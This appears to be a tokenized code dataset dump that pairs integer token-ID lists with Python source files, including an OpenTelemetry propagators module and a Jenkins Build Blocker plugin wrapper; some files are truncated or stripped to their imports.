4064, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 965, 7, 9060, 62, 7890, 13, 43358, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27039, 58, 22510, 62, 17566, 11, 1058, 11, 1058, 60, 796, 2939, 62, 7890, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 17566, 796, 997, 62, 17566, 1343, 352, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 357, 9399, 12331, 11, 11052, 12331, 8, 355, 304, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 23722, 407, 1100, 25, 3256, 2939, 62, 7753, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 25, 3256, 304, 11, 705, 12, 340, 43054, 82, 12876, 11, 31017, 2637, 8, 628, 220, 220, 220, 27039, 796, 27039, 58, 15, 25, 22510, 62, 17566, 11, 1058, 11, 1058, 60, 198, 220, 220, 220, 611, 997, 62, 17566, 1279, 949, 62, 22510, 62, 17566, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 35528, 10786, 7085, 7380, 4263, 621, 2938, 25, 4064, 67, 1279, 4064, 67, 6, 4064, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 22510, 62, 17566, 11, 949, 62, 22510, 62, 17566, 4008, 628, 220, 220, 220, 3601, 10786, 13295, 27039, 11192, 273, 25, 3256, 27039, 13, 43358, 8, 198, 220, 220, 220, 3601, 10786, 5308, 272, 25, 3256, 45941, 13, 32604, 7, 19608, 292, 316, 4008, 198, 220, 220, 220, 3601, 10786, 23615, 28833, 25, 3256, 45941, 13, 19282, 7, 19608, 292, 316, 4008, 198, 220, 220, 220, 1441, 27039, 628, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1303, 13601, 198, 220, 220, 220, 1388, 7, 51, 3861, 1268, 2751, 62, 33489, 11, 26173, 2389, 6234, 62, 33489, 11, 43001, 62, 33489, 11, 25261, 62, 35, 1404, 1921, 2767, 62, 46700, 1677, 10067, 8, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 10452, 198, 220, 220, 220, 1388, 7, 51, 3861, 1268, 2751, 62, 33489, 62, 12310, 7036, 11, 26173, 2389, 6234, 62, 33489, 62, 12310, 7036, 11, 43001, 62, 33489, 62, 12310, 7036, 11, 25261, 62, 35, 1404, 1921, 2767, 62, 46700, 1677, 10067, 62, 12310, 7036, 8, 198 ]
2.353357
1,132
from module1 import func1 print("imported module2") print(func1(2))
[ 6738, 8265, 16, 1330, 25439, 16, 198, 198, 4798, 7203, 320, 9213, 8265, 17, 4943, 198, 4798, 7, 20786, 16, 7, 17, 4008, 198 ]
2.875
24
import argparse import json import torch from torch import nn from torch.autograd import Variable from torchvision import models from collections import OrderedDict from PIL import Image import numpy as np import numbers if __name__ == "__main__": main()
[ 11748, 1822, 29572, 198, 11748, 33918, 198, 11748, 28034, 198, 6738, 28034, 1330, 299, 77, 198, 6738, 28034, 13, 2306, 519, 6335, 1330, 35748, 198, 6738, 28034, 10178, 1330, 4981, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 198, 6738, 350, 4146, 1330, 7412, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 3146, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 3419, 198 ]
3.581081
74
import time import gevent import operator from collections import OrderedDict from protocol import BaseProtocol from p2p_protocol import P2PProtocol from service import WiredService import multiplexer from muxsession import MultiplexedSession from crypto import ECIESDecryptionError import slogging import gevent.socket import rlpxcipher log = slogging.get_logger('p2p.peer') class UnknownCommandError(Exception): "raised if we recive an unknown command for a known protocol" pass
[ 11748, 640, 198, 11748, 4903, 1151, 198, 11748, 10088, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 198, 6738, 8435, 1330, 7308, 19703, 4668, 198, 6738, 279, 17, 79, 62, 11235, 4668, 1330, 350, 17, 47, 19703, 4668, 198, 6738, 2139, 1330, 39721, 16177, 198, 11748, 3294, 87, 263, 198, 6738, 285, 2821, 29891, 1330, 20401, 87, 276, 36044, 198, 6738, 21473, 1330, 13182, 11015, 10707, 13168, 12331, 198, 11748, 25801, 2667, 198, 11748, 4903, 1151, 13, 44971, 198, 11748, 374, 75, 8416, 66, 10803, 198, 198, 6404, 796, 25801, 2667, 13, 1136, 62, 6404, 1362, 10786, 79, 17, 79, 13, 33350, 11537, 198, 198, 4871, 16185, 21575, 12331, 7, 16922, 2599, 198, 220, 220, 220, 366, 49309, 611, 356, 664, 425, 281, 6439, 3141, 329, 257, 1900, 8435, 1, 198, 220, 220, 220, 1208, 628 ]
3.617647
136
# Copyright The OpenTelemetry Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ API for propagation of context. The propagators for the ``opentelemetry.propagators.composite.CompositeHTTPPropagator`` can be defined via configuration in the ``OTEL_PROPAGATORS`` environment variable. This variable should be set to a comma-separated string of names of values for the ``opentelemetry_propagator`` entry point. For example, setting ``OTEL_PROPAGATORS`` to ``tracecontext,baggage`` (which is the default value) would instantiate ``opentelemetry.propagators.composite.CompositeHTTPPropagator`` with 2 propagators, one of type ``opentelemetry.trace.propagation.tracecontext.TraceContextTextMapPropagator`` and other of type ``opentelemetry.baggage.propagation.BaggagePropagator``. Notice that these propagator classes are defined as ``opentelemetry_propagator`` entry points in the ``setup.cfg`` file of ``opentelemetry``. Example:: import flask import requests from opentelemetry import propagators PROPAGATOR = propagators.get_global_textmap() def get_header_from_flask_request(request, key): return request.headers.get_all(key) def set_header_into_requests_request(request: requests.Request, key: str, value: str): request.headers[key] = value def example_route(): context = PROPAGATOR.extract( get_header_from_flask_request, flask.request ) request_to_downstream = requests.Request( "GET", "http://httpbin.org/get" ) PROPAGATOR.inject( set_header_into_requests_request, request_to_downstream, context=context ) session = requests.Session() session.send(request_to_downstream.prepare()) .. _Propagation API Specification: https://github.com/open-telemetry/opentelemetry-specification/blob/main/specification/context/api-propagators.md """ import typing from logging import getLogger from os import environ from pkg_resources import iter_entry_points from opentelemetry.context.context import Context from opentelemetry.environment_variables import OTEL_PROPAGATORS from opentelemetry.propagators import composite from opentelemetry.trace.propagation import textmap logger = getLogger(__name__) def extract( getter: textmap.Getter[textmap.TextMapPropagatorT], carrier: textmap.TextMapPropagatorT, context: typing.Optional[Context] = None, ) -> Context: """Uses the configured propagator to extract a Context from the carrier. Args: getter: an object which contains a get function that can retrieve zero or more values from the carrier and a keys function that can get all the keys from carrier. carrier: and object which contains values that are used to construct a Context. This object must be paired with an appropriate getter which understands how to extract a value from it. context: an optional Context to use. Defaults to current context if not set. """ return get_global_textmap().extract(getter, carrier, context) def inject( set_in_carrier: textmap.Setter[textmap.TextMapPropagatorT], carrier: textmap.TextMapPropagatorT, context: typing.Optional[Context] = None, ) -> None: """Uses the configured propagator to inject a Context into the carrier. Args: set_in_carrier: A setter function that can set values on the carrier. carrier: An object that contains a representation of HTTP headers. Should be paired with set_in_carrier, which should know how to set header values on the carrier. context: an optional Context to use. Defaults to current context if not set. """ get_global_textmap().inject(set_in_carrier, carrier, context) try: propagators = [] # Single use variable here to hack black and make lint pass environ_propagators = environ.get( OTEL_PROPAGATORS, "tracecontext,baggage", ) for propagator in environ_propagators.split(","): propagators.append( # type: ignore next( # type: ignore iter_entry_points("opentelemetry_propagator", propagator) ).load()() ) except Exception: # pylint: disable=broad-except logger.exception("Failed to load configured propagators") raise _HTTP_TEXT_FORMAT = composite.CompositeHTTPPropagator(propagators) # type: ignore
[ 2, 15069, 383, 4946, 31709, 41935, 46665, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 198, 37811, 198, 17614, 329, 43594, 286, 4732, 13, 198, 198, 464, 8928, 2024, 329, 262, 198, 15506, 404, 298, 11129, 41935, 13, 22930, 363, 2024, 13, 785, 1930, 578, 13, 5377, 1930, 578, 40717, 24331, 363, 1352, 15506, 460, 307, 5447, 198, 8869, 8398, 287, 262, 7559, 2394, 3698, 62, 4805, 3185, 4760, 1404, 20673, 15506, 2858, 7885, 13, 770, 198, 45286, 815, 307, 900, 284, 257, 39650, 12, 25512, 515, 4731, 286, 3891, 286, 3815, 329, 262, 198, 15506, 404, 298, 11129, 41935, 62, 22930, 363, 1352, 15506, 5726, 966, 13, 1114, 1672, 11, 4634, 198, 15506, 2394, 3698, 62, 4805, 3185, 4760, 1404, 20673, 15506, 284, 7559, 40546, 22866, 11, 65, 9460, 496, 15506, 357, 4758, 318, 262, 4277, 1988, 8, 198, 19188, 9113, 9386, 198, 15506, 404, 298, 11129, 41935, 13, 22930, 363, 2024, 13, 785, 1930, 578, 13, 5377, 1930, 578, 40717, 24331, 363, 1352, 15506, 351, 362, 198, 22930, 363, 2024, 11, 530, 286, 2099, 198, 15506, 404, 298, 11129, 41935, 13, 40546, 13, 22930, 363, 341, 13, 40546, 22866, 13, 2898, 558, 21947, 8206, 13912, 24331, 363, 1352, 15506, 198, 392, 584, 286, 2099, 7559, 404, 298, 11129, 41935, 13, 65, 9460, 496, 13, 22930, 363, 341, 13, 33, 9460, 496, 24331, 363, 1352, 15506, 13, 198, 26396, 326, 777, 8928, 1352, 6097, 389, 5447, 355, 198, 15506, 404, 298, 11129, 41935, 62, 22930, 363, 1352, 15506, 5726, 2173, 287, 262, 7559, 40406, 13, 37581, 15506, 2393, 286, 198, 15506, 404, 298, 11129, 41935, 15506, 13, 198, 198, 16281, 3712, 628, 220, 220, 220, 1330, 42903, 198, 220, 220, 220, 1330, 7007, 198, 220, 220, 220, 422, 1034, 298, 11129, 41935, 1330, 8928, 2024, 628, 198, 220, 220, 220, 4810, 3185, 4760, 25633, 796, 8928, 2024, 13, 1136, 62, 20541, 62, 5239, 8899, 3419, 628, 198, 220, 220, 220, 825, 651, 62, 25677, 62, 6738, 62, 2704, 2093, 62, 25927, 7, 25927, 11, 1994, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2581, 13, 50145, 13, 1136, 62, 439, 7, 2539, 8, 628, 220, 220, 220, 825, 900, 62, 25677, 62, 20424, 62, 8897, 3558, 62, 25927, 7, 25927, 25, 7007, 13, 18453, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1994, 25, 965, 11, 1988, 25, 965, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2581, 13, 50145, 58, 2539, 60, 796, 1988, 628, 220, 220, 220, 825, 1672, 62, 38629, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 4732, 796, 4810, 3185, 4760, 25633, 13, 2302, 974, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 651, 62, 25677, 62, 6738, 62, 2704, 2093, 62, 25927, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42903, 13, 25927, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 2581, 62, 1462, 62, 2902, 5532, 796, 7007, 13, 18453, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 18851, 1600, 366, 4023, 1378, 4023, 8800, 13, 2398, 14, 1136, 1, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 4810, 3185, 4760, 25633, 13, 259, 752, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 900, 62, 25677, 62, 20424, 62, 8897, 3558, 62, 25927, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2581, 62, 1462, 62, 2902, 5532, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4732, 28, 22866, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 6246, 796, 7007, 13, 36044, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 6246, 13, 21280, 7, 25927, 62, 1462, 62, 2902, 5532, 13, 46012, 533, 28955, 628, 198, 492, 4808, 24331, 363, 341, 7824, 18291, 2649, 25, 198, 220, 220, 220, 3740, 1378, 12567, 13, 785, 14, 9654, 12, 46813, 41935, 14, 404, 298, 11129, 41935, 12, 16684, 2649, 14, 2436, 672, 14, 12417, 14, 16684, 2649, 14, 22866, 14, 15042, 12, 22930, 363, 2024, 13, 9132, 198, 37811, 198, 198, 11748, 19720, 198, 6738, 18931, 1330, 651, 11187, 1362, 198, 6738, 28686, 1330, 551, 2268, 198, 198, 6738, 279, 10025, 62, 37540, 1330, 11629, 62, 13000, 62, 13033, 198, 198, 6738, 1034, 298, 11129, 41935, 13, 22866, 13, 22866, 1330, 30532, 198, 6738, 1034, 298, 11129, 41935, 13, 38986, 62, 25641, 2977, 1330, 21676, 3698, 62, 4805, 3185, 4760, 1404, 20673, 198, 6738, 1034, 298, 11129, 41935, 13, 22930, 363, 2024, 1330, 24185, 198, 6738, 1034, 298, 11129, 41935, 13, 40546, 13, 22930, 363, 341, 1330, 2420, 8899, 198, 198, 6404, 1362, 796, 651, 11187, 1362, 7, 834, 3672, 834, 8, 628, 198, 4299, 7925, 7, 198, 220, 220, 220, 651, 353, 25, 2420, 8899, 13, 3855, 353, 58, 5239, 8899, 13, 8206, 13912, 24331, 363, 1352, 51, 4357, 198, 220, 220, 220, 11920, 25, 2420, 8899, 13, 8206, 13912, 24331, 363, 1352, 51, 11, 198, 220, 220, 220, 4732, 25, 19720, 13, 30719, 58, 21947, 60, 796, 6045, 11, 198, 8, 4613, 30532, 25, 198, 220, 220, 220, 37227, 5842, 274, 262, 17839, 8928, 1352, 284, 7925, 257, 30532, 422, 262, 11920, 13, 628, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 651, 353, 25, 281, 2134, 543, 4909, 257, 651, 2163, 326, 460, 19818, 6632, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 393, 517, 3815, 422, 262, 11920, 290, 257, 8251, 2163, 326, 460, 651, 477, 262, 8251, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 422, 11920, 13, 198, 220, 220, 220, 220, 220, 220, 220, 11920, 25, 290, 2134, 543, 4909, 3815, 326, 389, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 973, 284, 5678, 257, 30532, 13, 770, 2134, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1276, 307, 20312, 351, 281, 5035, 651, 353, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 543, 14759, 703, 284, 7925, 257, 1988, 422, 340, 13, 198, 220, 220, 220, 220, 220, 220, 220, 4732, 25, 281, 11902, 30532, 284, 779, 13, 2896, 13185, 284, 1459, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4732, 611, 407, 900, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1441, 651, 62, 20541, 62, 5239, 8899, 22446, 2302, 974, 7, 1136, 353, 11, 11920, 11, 4732, 8, 628, 198, 4299, 8677, 7, 198, 220, 220, 220, 900, 62, 259, 62, 7718, 5277, 25, 2420, 8899, 13, 7248, 353, 58, 5239, 8899, 13, 8206, 13912, 24331, 363, 1352, 51, 4357, 198, 220, 220, 220, 11920, 25, 2420, 8899, 13, 8206, 13912, 24331, 363, 1352, 51, 11, 198, 220, 220, 220, 4732, 25, 19720, 13, 30719, 58, 21947, 60, 796, 6045, 11, 198, 8, 4613, 6045, 25, 198, 220, 220, 220, 37227, 5842, 274, 262, 17839, 8928, 1352, 284, 8677, 257, 30532, 656, 262, 11920, 13, 628, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 900, 62, 259, 62, 7718, 5277, 25, 317, 900, 353, 2163, 326, 460, 900, 3815, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 319, 262, 11920, 13, 198, 220, 220, 220, 220, 220, 220, 220, 11920, 25, 1052, 2134, 326, 4909, 257, 10552, 286, 14626, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24697, 13, 10358, 307, 20312, 351, 900, 62, 259, 62, 7718, 5277, 11, 543, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 815, 760, 703, 284, 900, 13639, 3815, 319, 262, 11920, 13, 198, 220, 220, 220, 220, 220, 220, 220, 4732, 25, 281, 11902, 30532, 284, 779, 13, 2896, 13185, 284, 1459, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4732, 611, 407, 900, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 651, 62, 20541, 62, 5239, 8899, 22446, 259, 752, 7, 2617, 62, 259, 62, 7718, 5277, 11, 11920, 11, 4732, 8, 628, 198, 28311, 25, 628, 220, 220, 220, 8928, 2024, 796, 17635, 628, 220, 220, 220, 1303, 14206, 779, 7885, 994, 284, 8156, 2042, 290, 787, 300, 600, 1208, 198, 220, 220, 220, 551, 2268, 62, 22930, 363, 2024, 796, 551, 2268, 13, 1136, 7, 198, 220, 220, 220, 220, 220, 220, 220, 21676, 3698, 62, 4805, 3185, 4760, 1404, 20673, 11, 366, 40546, 22866, 11, 65, 9460, 496, 1600, 198, 220, 220, 220, 1267, 628, 220, 220, 220, 329, 8928, 1352, 287, 551, 2268, 62, 22930, 363, 2024, 13, 35312, 7, 2430, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 8928, 2024, 13, 33295, 7, 220, 1303, 2099, 25, 8856, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1306, 7, 220, 1303, 2099, 25, 8856, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 11629, 62, 13000, 62, 13033, 7203, 404, 298, 11129, 41935, 62, 22930, 363, 1352, 1600, 8928, 1352, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6739, 2220, 3419, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 198, 16341, 35528, 25, 220, 1303, 279, 2645, 600, 25, 15560, 28, 36654, 12, 16341, 198, 220, 220, 220, 49706, 13, 1069, 4516, 7203, 37, 6255, 284, 3440, 17839, 8928, 2024, 4943, 198, 220, 220, 220, 5298, 198, 198, 62, 40717, 62, 32541, 62, 21389, 1404, 796, 24185, 13, 5377, 1930, 578, 40717, 24331, 363, 1352, 7, 22930, 363, 2024, 8, 220, 1303, 2099, 25, 8856, 628, 198 ]
2.799003
1,806
"""Interfaces for interacting with Build Blockers job property plugin""" import xml.etree.ElementTree as ElementTree from pyjen.utils.xml_plugin import XMLPlugin class BuildBlockerProperty(XMLPlugin): """Wrapper for Build Blocker job properties https://wiki.jenkins-ci.org/display/JENKINS/Build+Blocker+Plugin """ QUEUE_SCAN_TYPES = ("DISABLED", "ALL", "BUILDABLE") LEVEL_TYPES = ("GLOBAL", "NODE") @property def queue_scan(self): """str: checks to see whether build blocking scans the build queue or not. One of BuildBlockerProperty.QUEUE_SCAN_TYPES. """ retval = self._root.find("scanQueueFor").text assert retval in BuildBlockerProperty.QUEUE_SCAN_TYPES return retval @queue_scan.setter @property def level(self): """str: the scope of the blocked job settings. One of BuildBlockerProperty.LEVEL_TYPES""" retval = self._root.find("blockLevel").text assert retval in BuildBlockerProperty.LEVEL_TYPES return retval @level.setter @property def blockers(self): """list (str): list of search criteria for blocking jobs""" temp = self._root.find("blockingJobs").text return temp.split() @blockers.setter @property def is_enabled(self): """bool: True if these blocking jobs are enabled, False if not""" temp = self._root.find("useBuildBlocker").text return temp.lower() == "true" def enable(self): """Enables this set of build blockers""" node = self._root.find("useBuildBlocker") node.text = "true" self.update() def disable(self): """Disables this set of build blockers""" node = self._root.find("useBuildBlocker") node.text = "false" self.update() # --------------------------------------------------------------- PLUGIN API @staticmethod def get_jenkins_plugin_name(): """str: the name of the Jenkins plugin associated with this PyJen plugin This static method is used by the PyJen plugin API to associate this class with a specific Jenkins plugin, as it is encoded in the config.xml """ return "hudson.plugins.buildblocker.BuildBlockerProperty" @classmethod def instantiate(cls, patterns): """Factory method used to instantiate an instance of this plugin Args: patterns (list, str): One or more names or regular expressions for jobs that block the execution of this one. Returns: BuildBlockerProperty: reference to the newly instantiated object """ default_xml = """ <hudson.plugins.buildblocker.BuildBlockerProperty> <useBuildBlocker>true</useBuildBlocker> <blockLevel>GLOBAL</blockLevel> <scanQueueFor>DISABLED</scanQueueFor> </hudson.plugins.buildblocker.BuildBlockerProperty>""" root_node = ElementTree.fromstring(default_xml) jobs_node = ElementTree.SubElement(root_node, "blockingJobs") if isinstance(patterns, str): jobs_node.text = patterns else: jobs_node.text = " ".join(patterns) return cls(root_node) PluginClass = BuildBlockerProperty if __name__ == "__main__": # pragma: no cover pass
[ 37811, 9492, 32186, 329, 24986, 351, 10934, 9726, 364, 1693, 3119, 13877, 37811, 198, 11748, 35555, 13, 316, 631, 13, 20180, 27660, 355, 11703, 27660, 198, 6738, 12972, 48796, 13, 26791, 13, 19875, 62, 33803, 1330, 23735, 37233, 628, 198, 4871, 10934, 12235, 263, 21746, 7, 55, 5805, 37233, 2599, 198, 220, 220, 220, 37227, 36918, 2848, 329, 10934, 9726, 263, 1693, 6608, 628, 220, 220, 220, 3740, 1378, 15466, 13, 48796, 5331, 12, 979, 13, 2398, 14, 13812, 14, 41, 1677, 42, 20913, 14, 15580, 10, 12235, 263, 10, 37233, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1195, 8924, 8924, 62, 6173, 1565, 62, 9936, 47, 1546, 796, 5855, 26288, 6242, 30465, 1600, 366, 7036, 1600, 366, 19499, 4146, 5631, 19146, 4943, 198, 220, 220, 220, 49277, 62, 9936, 47, 1546, 796, 5855, 8763, 9864, 1847, 1600, 366, 45, 16820, 4943, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 16834, 62, 35836, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 2536, 25, 8794, 284, 766, 1771, 1382, 12013, 23824, 262, 1382, 16834, 393, 198, 220, 220, 220, 220, 220, 220, 220, 407, 13, 1881, 286, 10934, 12235, 263, 21746, 13, 48, 8924, 8924, 62, 6173, 1565, 62, 9936, 47, 1546, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1005, 2100, 796, 2116, 13557, 15763, 13, 19796, 7203, 35836, 34991, 1890, 11074, 5239, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 1005, 2100, 287, 10934, 12235, 263, 21746, 13, 48, 8924, 8924, 62, 6173, 1565, 62, 9936, 47, 1546, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 2100, 628, 220, 220, 220, 2488, 36560, 62, 35836, 13, 2617, 353, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 1241, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 2536, 25, 262, 8354, 286, 262, 10226, 1693, 6460, 13, 1881, 286, 198, 220, 220, 220, 220, 220, 220, 220, 10934, 12235, 263, 21746, 13, 2538, 18697, 62, 9936, 47, 1546, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1005, 2100, 796, 2116, 13557, 15763, 13, 19796, 7203, 9967, 4971, 11074, 5239, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 1005, 2100, 287, 10934, 12235, 263, 21746, 13, 2538, 18697, 62, 9936, 47, 1546, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1005, 2100, 628, 220, 220, 220, 2488, 5715, 13, 2617, 353, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 43805, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 4868, 357, 2536, 2599, 1351, 286, 2989, 9987, 329, 12013, 3946, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 20218, 796, 2116, 13557, 15763, 13, 19796, 7203, 41938, 41, 8158, 11074, 5239, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 20218, 13, 35312, 3419, 628, 220, 220, 220, 2488, 9967, 364, 13, 2617, 353, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 318, 62, 25616, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 30388, 25, 6407, 611, 777, 12013, 3946, 389, 9343, 11, 10352, 611, 407, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 20218, 796, 2116, 13557, 15763, 13, 19796, 7203, 1904, 15580, 12235, 263, 11074, 5239, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 20218, 13, 21037, 3419, 6624, 366, 7942, 1, 628, 220, 220, 220, 825, 7139, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 4834, 2977, 428, 900, 286, 1382, 43805, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 10139, 796, 2116, 13557, 15763, 13, 19796, 7203, 1904, 15580, 12235, 263, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 10139, 13, 5239, 796, 366, 7942, 1, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 19119, 3419, 628, 220, 220, 220, 825, 15560, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 7279, 2977, 428, 900, 286, 1382, 43805, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 10139, 796, 2116, 13557, 15763, 13, 19796, 7203, 1904, 15580, 12235, 263, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 10139, 13, 5239, 796, 366, 9562, 1, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 19119, 3419, 628, 220, 220, 220, 1303, 20368, 1783, 24305, 9297, 7340, 1268, 7824, 198, 220, 220, 220, 2488, 12708, 24396, 198, 220, 220, 220, 825, 651, 62, 48796, 5331, 62, 33803, 62, 3672, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 2536, 25, 262, 1438, 286, 262, 21835, 13877, 3917, 351, 428, 9485, 44875, 13877, 628, 220, 220, 220, 220, 220, 220, 220, 770, 9037, 2446, 318, 973, 416, 262, 9485, 44875, 13877, 7824, 284, 11602, 428, 198, 220, 220, 220, 220, 220, 220, 220, 1398, 351, 257, 2176, 21835, 13877, 11, 355, 340, 318, 30240, 287, 262, 4566, 13, 19875, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 366, 71, 463, 1559, 13, 37390, 13, 11249, 9967, 263, 13, 15580, 12235, 263, 21746, 1, 628, 220, 220, 220, 2488, 4871, 24396, 198, 220, 220, 220, 825, 9113, 9386, 7, 565, 82, 11, 7572, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 22810, 2446, 973, 284, 9113, 9386, 281, 4554, 286, 428, 13877, 628, 220, 220, 220, 220, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7572, 357, 4868, 11, 965, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1881, 393, 517, 3891, 393, 3218, 14700, 329, 3946, 326, 2512, 262, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9706, 286, 428, 530, 13, 628, 220, 220, 220, 220, 220, 220, 220, 16409, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10934, 12235, 263, 21746, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4941, 284, 262, 8308, 9113, 12931, 2134, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 4277, 62, 19875, 796, 37227, 198, 27, 71, 463, 1559, 13, 37390, 13, 11249, 9967, 263, 13, 15580, 12235, 263, 21746, 29, 198, 220, 220, 220, 1279, 1904, 15580, 12235, 263, 29, 7942, 3556, 1904, 15580, 12235, 263, 29, 198, 220, 220, 220, 1279, 